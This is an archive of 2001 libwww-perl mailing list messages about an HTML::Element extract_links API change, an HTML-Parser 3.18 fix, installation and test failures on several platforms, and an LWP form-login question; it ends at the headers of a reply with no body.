Received: (qmail 32557 invoked by uid 508); 25 Feb 2001 00:11:19 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 32547 invoked from network); 25 Feb 2001 00:11:19 -0000
Received: from spinnone.spinn.net (HELO newone.spinn.net) (root@216.223.224.6)
  by tmtowtdi.perl.org with SMTP; 25 Feb 2001 00:11:19 -0000
Received: from 2ch0201 (dialip167.spinn.net [216.223.224.167])
	by newone.spinn.net (8.9.3/8.9.3) with SMTP id RAA13993
	for <libwww@perl.org>; Sat, 24 Feb 2001 17:10:24 -0700
Message-Id: <3.0.6.32.20010224171102.00880990@mail.spinn.net>
X-Sender: sburke@mail.spinn.net (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Sat, 24 Feb 2001 17:11:02 -0700
To: libwww@perl.org
From: "Sean M. Burke" <sburke@spinn.net>
Subject: considering HTML::Element's $tree->extract_links
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Some clever person wrote me earlier this month and suggested adding a
feature to HTML::Element's extract_links method; and I want to
run it past people who actually use the current method's behavior.

Currently this is that extract_links does:

Returns links found by traversing the element and all of its children
and looking for attributes (like "href" in an "a" element, or "src" in
an "img" element) whose values represent links.  The return value is a
reference to an array.  Each element of the array is reference to
an array with two items: the link-value and a the element that has the
attribute with that link-value.  You may or may not end up using the
element itself -- for some purposes, you may use only the link value.

You might specify that you want to extract links from just some kinds
of elements (instead of the default, which is to extract links from
all the kinds of elements known to have attributes whose values
represent links).  For instance, if you want to extract links from
only "a" and "img" elements, you could code it like this:

  for (@{  $e->extract_links('a', 'img')  }) {
      my($link, $element) = @$_;
      print
        "Hey, there's a ", $element->tag,
        " that links to $link\n";
  }

What the person who wrote to me suggested was this:  make each item
in the returned array contain not two subitems (attribute_value,
$element), but THREE: (attribute_value, $element, attribute_name).

I think this is a wonderful idea.

But I don't want to break old code.  Clearly all SANE old
code (as above) that I can imagine, would continue to work.
But something like this:

  for (@{  $e->extract_links('a', 'img')  }) {
     my($element) = $_->[-1];
     ...
  }

would break completely, since the LAST (-1th) item of the
list is no longer the element.  Also, things like this
hypothetical bit of lunacy:
     %linkies = map reverse(@$_), @{$e->extract_links};
would break.

But neither of those breaky things are exactly brilliant code.

For anyone who uses extract_links, I'm asking:  would any of your code
break if I added a third value to each sublist returned?


--
Sean M. Burke  sburke@cpan.org  http://www.spinn.net/~sburke/


From gisle@activestate.com Sat Feb 24 20:54:19 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa22788 for <hyper>;
          24 Feb 2001 20:54 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa16840
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 24 Feb 2001 20:54 PST
Received: (qmail 20676 invoked by uid 508); 25 Feb 2001 04:54:09 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 20667 invoked from network); 25 Feb 2001 04:54:09 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 25 Feb 2001 04:54:09 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id UAA00615;
	Sat, 24 Feb 2001 20:52:41 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Syloke Soong <Syloke.Soong@nsc.com>
Cc: libwww@perl.org
Subject: Re: HTML-Parser-3.17
References: <OFC058BE38.6CCFA3E6-ON852569FD.003DC871@nsc.com>
From: Gisle Aas <gisle@activestate.com>
Date: 24 Feb 2001 20:52:40 -0800
In-Reply-To: "Syloke Soong"'s message of "Sat, 24 Feb 2001 06:20:31 -0500"
Message-ID: <lrhf1jl5yf.fsf@caliper.ActiveState.com>
Lines: 78
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

"Syloke Soong" <Syloke.Soong@nsc.com> writes:

> I had error building HTML-Parser-3.17:

[...]

> "./util.c", line 219: syntax error before or at: /
> cc: acomp failed for Parser.c
> make: *** [Parser.o] Error 2

Sorry about that.  If you simply remove that line of util.c then it
should work again.  I just uploaded 3.18 with exactly that fix.

Regards,
Gisle




Index: Changes
===================================================================
RCS file: /cvsroot/libwww-perl/html-parser/Changes,v
retrieving revision 2.73
retrieving revision 2.74
diff -u -p -u -r2.73 -r2.74
--- Changes     2001/02/24 06:00:00     2.73
+++ Changes     2001/02/25 04:45:10     2.74
@@ -1,3 +1,12 @@
+2001-02-24   Gisle Aas <gisle@ActiveState.com>
+
+     Release 3.18
+
+     There was a C++ style comment left in util.c.  Strict C
+     compilers do not like that kind of stuff.
+
+
+
 2001-02-23   Gisle Aas <gisle@ActiveState.com>
 
      Release 3.17
Index: Parser.pm
===================================================================
RCS file: /cvsroot/libwww-perl/html-parser/Parser.pm,v
retrieving revision 2.123
retrieving revision 2.124
diff -u -p -u -r2.123 -r2.124
--- Parser.pm   2001/02/24 06:00:00     2.123
+++ Parser.pm   2001/02/25 04:45:10     2.124
@@ -9,7 +9,7 @@ package HTML::Parser;
 use strict;
 use vars qw($VERSION @ISA);
 
-$VERSION = '3.17';  # $Date: 2001/02/24 06:00:00 $
+$VERSION = '3.18';  # $Date: 2001/02/25 04:45:10 $
 
 require HTML::Entities;
 
Index: util.c
===================================================================
RCS file: /cvsroot/libwww-perl/html-parser/util.c,v
retrieving revision 2.13
retrieving revision 2.14
diff -u -p -u -r2.13 -r2.14
--- util.c      2001/02/24 05:56:54     2.13
+++ util.c      2001/02/25 04:41:55     2.14
@@ -1,4 +1,4 @@
-/* $Id: util.c,v 2.13 2001/02/24 05:56:54 gisle Exp $
+/* $Id: util.c,v 2.14 2001/02/25 04:41:55 gisle Exp $
  *
  * Copyright 1999-2001, Gisle Aas.
  *
@@ -216,6 +216,5 @@ decode_entities(pTHX_ SV* sv, HV* entity
     *t = '\0';
     SvCUR_set(sv, t - SvPVX(sv));
 
-    //sv_dump(sv);
     return sv;
 }

From chris@console.org Mon Feb 26 12:13:30 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07433 for <hyper>;
          26 Feb 2001 12:13 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa23354
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 26 Feb 2001 12:13 PST
Received: (qmail 6744 invoked by uid 508); 26 Feb 2001 20:13:20 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 6735 invoked from network); 26 Feb 2001 20:13:20 -0000
Received: from ool-18be3b18.dyn.optonline.net (HELO stupid.console.org) (24.190.59.24)
  by tmtowtdi.perl.org with SMTP; 26 Feb 2001 20:13:20 -0000
Received: from localhost (chris@localhost)
	by stupid.console.org (8.11.1/stupid-antispam) with ESMTP id f1QKDH104457
	for <libwww@perl.org>; Mon, 26 Feb 2001 15:13:18 -0500
Date: Mon, 26 Feb 2001 15:13:17 -0500 (EST)
From: Chris Martino <chris@console.org>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: post woes
Message-ID: <Pine.LNX.4.32.0102131340590.27251-100000@stupid.console.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi-

I'm writing a script to login to surepay and access some data.  I'm trying
to reuse some other code that works successfully for other websites, but
it isn't working for this site.

Here's what I'm using:

--- BEGIN ---

#!/usr/bin/perl -w
use HTTP::Request::Common;
use LWP::UserAgent;
use HTTP::Cookies;

$ua = LWP::UserAgent->new();
$ua->agent("Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)");
$ua->timeout(600);

$response = $ua->request(POST "https://www.surepaymanager.com/index.cfm",
        ['globalUser' => "false",
        'loginerror' => "true",
        'MerchantIDIn' => "id",
        'PasswordIn' => "pass",
        'UserIDIn' => "Admin%20Login"]);
$ua->cookie_jar(HTTP::Cookies->new(file => "lwpcookies.txt", autosave =>
1));

print $response->as_string;

--- END ---

Here's the response I get back:

--- BEGIN ---

chris@black ~/scripts > ./surepay2.pl
HTTP/1.1 200 OK
Date: Mon, 26 Feb 2001 20:11:04 GMT
Server: Netscape-Enterprise/3.6 SP3
Content-Type: text/html
Client-Date: Mon, 26 Feb 2001 20:18:45 GMT
Client-Peer: 216.136.147.17:443
Client-SSL-Cert-Issuer: /C=US/O=Entrust.net/OU=www.entrust.net/CPS incorp. by ref. (limits liab.)/OU=(c) 1999 Entrust.net Limited/CN=Entrust.net Secure Server Certification Authority
Client-SSL-Cert-Subject: /C=US/ST=California/L=Redwood City/O=First Data
Corporation/OU=Commerce Equipment Operation/CN=www.surepaymanager.com
Client-SSL-Cipher: DES-CBC3-SHA
Client-SSL-Warning: Peer certificate not verified
Page-Completion-Status: Normal
Page-Completion-Status: Normal


        <form name="the_form" action="error.cfm" method="post">

                        <input type="hidden" name="message" value="Login
incorrect.  Please re-enter your user ID and password.<br><br>If your
browser does not accept cookies please reconfigure it so the Cookies can
be turned on in Netscape by going to Edit->Preferences and in Internet
Explorer by going to View->Internet Options.">
                        <input type="hidden" name="cfid" value="71620">
                        <input type="hidden" name="cftoken" value="5145865">
                        <input type="hidden" name="deletecookie" value="true">
                        <input type="hidden" name="loginerror" value="true">

                <script>document.the_form.submit();</script>
        </form>

--- END ---

I know this is a pretty specific problem, but perhaps I am overlookinf
something.  That's where all you guys come in. :)

TIA,
C


From gormanst@returnpath.net Tue Feb 27 13:41:58 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa06889 for <hyper>;
          27 Feb 2001 13:41 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa10280
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 27 Feb 2001 13:41 PST
Received: (qmail 6506 invoked by uid 508); 27 Feb 2001 21:41:48 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 16854 invoked from network); 27 Feb 2001 20:00:53 -0000
From: Steve Gorman <gormanst@returnpath.net>
Reply-To: gormanst@returnpath.net
Organization: ReturnPath, Inc.
To: libwww@perl.org
Subject: Read timout.
Date: Tue, 27 Feb 2001 14:52:52 -0500
X-Mailer: KMail [version 1.0.29.2]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01022714554002.21074@norfolk>
Content-Transfer-Encoding: 8bit

I am using libwww5.5 and perl 5.005_03.  When I try to do a simple post to 
html form the post hangs for a very long time (minutes) and then reports back
that the read timed out. Any thoughts?

thx in advance
-- 
Steve Gorman
Director Software Development
ReturnPath, Inc.

From philip_mitchell@harvard.edu Tue Feb 27 13:46:44 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07528 for <hyper>;
          27 Feb 2001 13:46 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa11313
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 27 Feb 2001 13:46 PST
Received: (qmail 8006 invoked by uid 508); 27 Feb 2001 21:46:38 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 7997 invoked from network); 27 Feb 2001 21:46:37 -0000
Received: from sylvia.harvard.edu (128.103.151.242)
  by tmtowtdi.perl.org with SMTP; 27 Feb 2001 21:46:37 -0000
Received: from phil_mitchell.harvard.edu (ospr28.harvard.edu [128.103.151.128])
	by sylvia.harvard.edu (8.9.3/8.9.3) with ESMTP id QAA17040;
	Tue, 27 Feb 2001 16:46:34 -0500 (EST)
Message-Id: <4.3.2.7.2.20010227164440.00b0f930@hulmail.harvard.edu>
X-Sender: philip@hulmail.harvard.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 27 Feb 2001 16:46:26 -0500
To: libwww@perl.org
From: Phil Mitchell <philip_mitchell@harvard.edu>
Subject: Re: Read timout.
Cc: gormanst@returnpath.net
In-Reply-To: <01022714554002.21074@norfolk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

What are your LWP timeout settings?
Is your script on solaris? You might look at the libwww archives for recent 
posts about solaris/LWP missing EOF problem.

At 02:52 PM 2/27/01 -0500, you wrote:
>I am using libwww5.5 and perl 5.005_03.  When I try to do a simple post to
>html form the post hangs for a very long time (minutes) and then reports back
>that the read timed out. Any thoughts?
>
>thx in advance
>--
>Steve Gorman
>Director Software Development
>ReturnPath, Inc.


From rp@win.tue.nl Tue Feb 27 15:20:01 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa17454 for <hyper>;
          27 Feb 2001 15:20 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa00848
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 27 Feb 2001 15:19 PST
Received: (qmail 19902 invoked by uid 508); 27 Feb 2001 23:19:49 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 19838 invoked from network); 27 Feb 2001 23:19:49 -0000
Received: from kweetal.tue.nl (131.155.2.7)
  by tmtowtdi.perl.org with SMTP; 27 Feb 2001 23:19:49 -0000
Received: from svis02.win.tue.nl (svis02.win.tue.nl [131.155.70.172])
	by kweetal.tue.nl (8.11.0/8.11.0) with ESMTP id f1RNJlZ26919
	for <libwww@perl.org>; Wed, 28 Feb 2001 00:19:47 +0100 (MET)
Received: (from rp@localhost)
	by svis02.win.tue.nl (8.11.0/8.11.1) id f1RNJQi25088
	for libwww@perl.org; Wed, 28 Feb 2001 00:19:26 +0100 (MET)
Message-ID: <20010228001925.D24622@win.tue.nl>
Date: Wed, 28 Feb 2001 00:19:25 +0100
From: Reinier Post <rp@win.tue.nl>
To: LWP mailing list <libwww@perl.org>
Subject: Re: considering HTML::Element's $tree->extract_links
References: <3.0.6.32.20010224171102.00880990@mail.spinn.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93i
In-Reply-To: <3.0.6.32.20010224171102.00880990@mail.spinn.net>; from Sean M. Burke on Sat, Feb 24, 2001 at 05:11:02PM -0700

On Sat, Feb 24, 2001 at 05:11:02PM -0700, Sean M. Burke wrote:
> Some clever person wrote me earlier this month and suggested adding a
> feature to HTML::Element's extract_links method; and I want to
> run it past people who actually use the current method's behavior.

Count me in.

> What the person who wrote to me suggested was this:  make each item
> in the returned array contain not two subitems (attribute_value,
> $element), but THREE: (attribute_value, $element, attribute_name).
> 
> I think this is a wonderful idea.

Yes, definitely!  In fact, I'd be happy to get just the element.

> For anyone who uses extract_links, I'm asking:  would any of your code
> break if I added a third value to each sublist returned?

Mine won't.
 
-- 
Reinier

From lsg@axyspharm.com Wed Feb 28 12:09:49 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09601 for <hyper>;
          28 Feb 2001 12:09 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa13520
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 28 Feb 2001 12:09 PST
Received: (qmail 14130 invoked by uid 508); 28 Feb 2001 20:09:43 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 10858 invoked from network); 28 Feb 2001 19:36:33 -0000
Sender: LAN Service Group <lansg@axyspharm.com>
Message-ID: <3A9D528E.800D614@axyspharm.com>
Date: Wed, 28 Feb 2001 11:33:35 -0800
From: LAN Service Group <lsg@axyspharm.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18pre21 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: libwww@perl.org
Subject: HTML-Parser 'make test' errors
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi, I'm trying to configure/install HTML-Parser 3.18 under Solaris 7.
I've gotten MIME::Base64 and URI installed successfully.  perl
Makefile.PL for HTML::Parser appeard to finish without errors however
make test fails in 2 areas which I think may be related:

<snip>
/usr/local/lib/perl5/site_perl/5.6.0/sun4-solaris
/usr/local/lib/perl5/site_perl/5.6.0 /usr/local/lib/perl5/site_perl .)
at blib/lib/HTML/LinkExtor.pm line 31.
BEGIN failed--compilation aborted at blib/lib/HTML/LinkExtor.pm line 31.

Compilation failed in require at t/linkextor-base.t line 14.
t/linkextor-base....dubious
 Test returned status 2 (wstat 512, 0x200)
DIED. FAILED tests 1-5
 Failed 5/5 tests, 0.00% okay
t/linkextor-rel.....Can't locate HTML/Tagset.pm in @INC (@INC contains:
blib/arch blib/lib /usr/local/lib/perl5/5.6.0/sun4-solaris
<snip>

<snip>
/usr/local/lib/perl5/5.6.0/sun4-solaris /usr/local/lib/perl5/5.6.0
/usr/local/lib/perl5/site_perl/5.6.0/sun4-solaris
/usr/local/lib/perl5/site_perl/5.6.0 /usr/local/lib/perl5/site_perl .)
at blib/lib/HTML/LinkExtor.pm line 31.
BEGIN failed--compilation aborted at blib/lib/HTML/LinkExtor.pm line 31.

Compilation failed in require at t/linkextor-rel.t line 3.
t/linkextor-rel.....dubious
 Test returned status 2 (wstat 512, 0x200)
DIED. FAILED tests 1-4
 Failed 4/4 tests, 0.00% okay
<snip>

Is this a fatal error?  Should I not 'make install' until this is
resolved?  How can I resolve it?  Thanks.

- Ken


From gisle@activestate.com Wed Feb 28 12:19:43 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa10673 for <hyper>;
          28 Feb 2001 12:19 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa14084
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 28 Feb 2001 12:19 PST
Received: (qmail 15979 invoked by uid 508); 28 Feb 2001 20:19:39 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 15970 invoked from network); 28 Feb 2001 20:19:38 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 28 Feb 2001 20:19:38 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id MAA04722;
	Wed, 28 Feb 2001 12:19:10 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: LAN Service Group <lsg@axyspharm.com>
Cc: libwww@perl.org
Subject: Re: HTML-Parser 'make test' errors
References: <3A9D528E.800D614@axyspharm.com>
From: Gisle Aas <gisle@activestate.com>
Date: 28 Feb 2001 12:19:10 -0800
In-Reply-To: LAN Service Group's message of "Wed, 28 Feb 2001 11:33:35 -0800"
Message-ID: <lrg0gyo91d.fsf@caliper.ActiveState.com>
Lines: 24
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

LAN Service Group <lsg@axyspharm.com> writes:

> Compilation failed in require at t/linkextor-base.t line 14.
> t/linkextor-base....dubious
>  Test returned status 2 (wstat 512, 0x200)
> DIED. FAILED tests 1-5
>  Failed 5/5 tests, 0.00% okay
> t/linkextor-rel.....Can't locate HTML/Tagset.pm in @INC (@INC contains:

[...]

> Is this a fatal error?

It only affects the HTML::LinkExtor module, so if you don't plan to
use it you can just preceed.

>  Should I not 'make install' until this is
> resolved?  How can I resolve it?

You can resolve it by installing "HTML-Tagset" before you install
HTML-Parser.

Regards,
Gisle

From sebastien@plourde.qc.ca Wed Feb 28 12:52:01 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13809 for <hyper>;
          28 Feb 2001 12:52 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa15786
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 28 Feb 2001 12:51 PST
Received: (qmail 20642 invoked by uid 508); 28 Feb 2001 20:51:42 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 20633 invoked from network); 28 Feb 2001 20:51:41 -0000
Received: from unknown (HELO mail.netadvertizer.com) (216.95.242.83)
  by tmtowtdi.perl.org with SMTP; 28 Feb 2001 20:51:41 -0000
Received: from [216.95.242.69] ([216.95.242.69] verified) by mail.netadvertizer.com (Stalker SMTP Server 1.8b7) with ESMTP id S.0000033295 for <libwww@perl.org>; Wed, 28 Feb 2001 15:29:11 -0500
X-Mailer: Microsoft Outlook Express Macintosh Edition - 4.5 (0410)
Date: Wed, 28 Feb 2001 15:51:37 -0500
Subject: HTML-Parser 'make test error
From: "sebastien@plourde.qc.ca" <sebastien@plourde.qc.ca>
To: libwww@perl.org
Mime-version: 1.0
X-Priority: 3
Content-type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable
Message-Id: <S.0000033295@mail.netadvertizer.com>

I have problem too for configure/install html-parser
I'm under macos X server
i ve got error 1

<snip>
mkdir blib
mkdir blib/lib
mkdir blib/lib/HTML
mkdir blib/arch
mkdir blib/arch/auto
mkdir blib/arch/auto/HTML
mkdir blib/arch/auto/HTML/Parser
mkdir blib/lib/auto
mkdir blib/lib/auto/HTML
mkdir blib/lib/auto/HTML/Parser
mkdir blib/man3
cp Parser.pm blib/lib/HTML/Parser.pm
cp lib/HTML/Entities.pm blib/lib/HTML/Entities.pm
cp lib/HTML/Filter.pm blib/lib/HTML/Filter.pm
cp lib/HTML/HeadParser.pm blib/lib/HTML/HeadParser.pm
cp lib/HTML/TokeParser.pm blib/lib/HTML/TokeParser.pm
cp lib/HTML/LinkExtor.pm blib/lib/HTML/LinkExtor.pm
/usr/local/bin/perl -I/System/Library/Perl/rhapsody -I/System/Library/Perl
/System/Library/Perl/ExtUtils/xsubpp  -typemap
/System/Library/Perl/ExtUtils/typemap -typemap typemap Parser.xs >Parser.tc
&& mv Parser.tc Parser.c
/usr/local/bin/perl mkhctype >hctype.h
/usr/local/bin/perl mkpfunc >pfunc.h
cc -c  -arch i386 -arch ppc -g -pipe -pipe -fno-common
-DHAS_TELLDIR_PROTOTYPE -O3    -DVERSION=3D"3.17" -DXS_VERSION=3D"3.17" -fpic
-I/System/Library/Frameworks/Perl.framework/Versions/5.005/Headers
-DMARKED_SECTION Parser.c
Running Mkbootstrap for HTML::Parser ()
chmod 644 Parser.bs
LD_RUN_PATH=3D"" cc -o blib/arch/auto/HTML/Parser/Parser.bundle  -arch i386
-arch ppc  -bundle -undefined suppress Parser.o
/usr/bin/ld: for architecture i386
/usr/bin/ld: warning /lib/bundle1.o cputype (18, architecture ppc) does not
match cputype (7) for specified -arch flag: i386 (file not loaded)
/usr/bin/ld: warning /usr/lib/libcc_dynamic.a archive's cputype (18,
architecture ppc) does not match cputype (7) for specified -arch flag: i386
(can't load from it)
/usr/bin/ld: warning /System/Library/Frameworks/System.framework/System
cputype (18, architecture ppc) does not match cputype (7) for specified
-arch flag: i386 (file not loaded)
/usr/bin/ld: Parser.o has external relocation entries in non-writable
section (__TEXT,__picsymbol_stub) for symbols:
dyld_stub_binding_helper
make: *** [blib/arch/auto/HTML/Parser/Parser.bundle] Error 1

<snip>








Merci

--
S=E9bastien Plourde, Dir. Indexation
NET Marketing Solution TM | Mtl.: 861-1881 ext.227

    sebastien@plourde.qc.ca

    http://www.netmarketingsolution.com
    ventes@netmarketingsolution.com
--

From Pin-Chieh.Wang@compaq.com Thu Mar  1 08:41:50 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa01868 for <hyper>;
          1 Mar 2001 08:41 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa02512
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Mar 2001 08:41 PST
Received: (qmail 27981 invoked by uid 508); 1 Mar 2001 16:41:39 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 27632 invoked from network); 1 Mar 2001 16:38:05 -0000
Message-ID: <D0C97EB50803B34B8A3D1294F87308A32AE60C@cceexc11.americas.cpqcorp.net>
From: "Wang, Pin-Chieh" <Pin-Chieh.Wang@compaq.com>
To: "'libwww@perl.org'" <libwww@perl.org>
Subject: problem install URI-1.09 on Linux
Date: Thu, 1 Mar 2001 10:37:26 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,
I have proble, install URI-1.09 on Red Hat Linux 7 release
I  am using Perl 5.6.0 and get "make test" error at heuristic Failure.
I have MIME::BASE64-2.11 installed first.

Any body have similar problem? or have a solution of this problem?

Thanks

PC 


From gisle@activestate.com Thu Mar  1 08:53:47 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa02802 for <hyper>;
          1 Mar 2001 08:53 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05447
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Mar 2001 08:53 PST
Received: (qmail 30788 invoked by uid 508); 1 Mar 2001 16:53:39 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 30779 invoked from network); 1 Mar 2001 16:53:39 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 1 Mar 2001 16:53:39 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id IAA11009;
	Thu, 1 Mar 2001 08:53:04 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: "Wang, Pin-Chieh" <Pin-Chieh.Wang@compaq.com>
Cc: "'libwww@perl.org'" <libwww@perl.org>
Subject: Re: problem install URI-1.09 on Linux
References: <D0C97EB50803B34B8A3D1294F87308A32AE60C@cceexc11.americas.cpqcorp.net>
From: Gisle Aas <gisle@activestate.com>
Date: 01 Mar 2001 08:53:04 -0800
In-Reply-To: "Wang, Pin-Chieh"'s message of "Thu, 1 Mar 2001 10:37:26 -0600"
Message-ID: <lr66hte8i7.fsf@caliper.ActiveState.com>
Lines: 13
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

